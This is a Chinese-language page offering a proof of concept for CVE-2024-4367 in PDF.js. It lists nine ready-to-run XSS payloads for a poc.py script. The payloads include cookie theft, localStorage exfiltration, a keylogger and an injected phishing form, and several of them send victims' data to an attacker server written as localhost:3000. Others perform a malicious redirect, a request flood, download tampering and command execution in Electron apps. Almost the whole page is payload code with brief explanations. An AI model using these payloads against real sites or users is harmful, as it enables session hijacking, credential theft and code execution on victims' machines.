CVE 2024 4367: 利用XSS（跨站脚本）的PoC

1. 显示弹窗（XSS触发）

另一个利用示例是注入一个简单的警告消息，以验证攻击是否有效。

python poc.py "alert('XSS exploit triggered');"

说明：此代码在页面中注入一个弹出警告框，从而可以快速测试XSS利用是否在目标站点上执行。

2. 窃取Cookie

XSS攻击可用于窃取受害者的Cookie，并将其发送到恶意服务器。

python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"

说明：该脚本修改页面URL以包含受害者的Cookie，然后将其发送到恶意服务器（http://localhost:3000/cookie）。

3. 窃取本地存储的数据（LocalStorage）

攻击者可以窃取存储在受害者localStorage中的敏感信息，例如身份验证数据或会话信息。

python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"

说明：该代码获取存储在localStorage中的敏感数据，并通过fetch请求将其发送到恶意服务器。

4. 恶意重定向

攻击者可以将受害者重定向到恶意站点，以获取更多信息或加载另一个利用程序。

python poc.py "window.location.href='http://localhost:3000';"

说明：该脚本立即将受害者重定向到恶意站点，可用于钓鱼攻击或安装恶意软件。

5. DDoS攻击（API洪水）

另一种攻击方式是向服务器发送大量请求，这可能导致性能下降或服务中断。

python poc.py  "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"

说明：该脚本向目标API发送100个HTTP请求，可能导致服务器过载（拒绝服务攻击）。

6. 键盘记录器（窃取键盘输入）

攻击者可以拦截受害者的键盘输入，从而获取密码或用户名等敏感信息。

python poc.py """document.addEventListener('keydown', function(e) {
    fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""

说明：该脚本记录受害者按下的每个键，并将这些信息发送到恶意服务器。

7. 通过注入表单进行钓鱼（窃取敏感数据）

攻击者可以利用XSS在网页中注入一个钓鱼表单，从而窃取敏感信息（例如：密码、用户名）。

python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""

说明：此代码在页面中注入一个表单，使攻击者能够获取用户通过该钓鱼表单提交的敏感信息。

8. 篡改下载

如果用户点击下载按钮，我们将更改下载目标。

const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf"; 
document.body.appendChild(a);
a.click();
document.body.removeChild(a);

说明：该脚本更新下载链接的URL，思路是修改现有按钮，使其下载恶意文件而不是用户预期的文件。

9. 针对桌面应用程序的攻击（Electron, NW.js）

python poc.py "require('child_process').exec('calc.exe')"

基于Electron或NW.js等框架的应用程序也可能受到XSS攻击的影响，因为它们允许将Web内容集成到具有广泛本地访问权限的桌面应用程序中。
由于这些应用程序的权限，攻击者可以访问本地文件、执行外部进程，甚至在目标机器上启动其他应用程序（例如计算器、文本编辑器等）。这大大增加了攻击面，因为这些应用程序将Web的能力与更广泛的系统访问相结合。

结论

利用CVE（常见漏洞与暴露）的攻击可以实现多种类型的XSS攻击。通过利用Web或桌面应用程序中的特定漏洞，攻击者可以注入恶意代码、窃取敏感信息、操纵用户会话或在目标系统上执行恶意操作。

CVE-2024-4367-POC-PDFJS

最受欢迎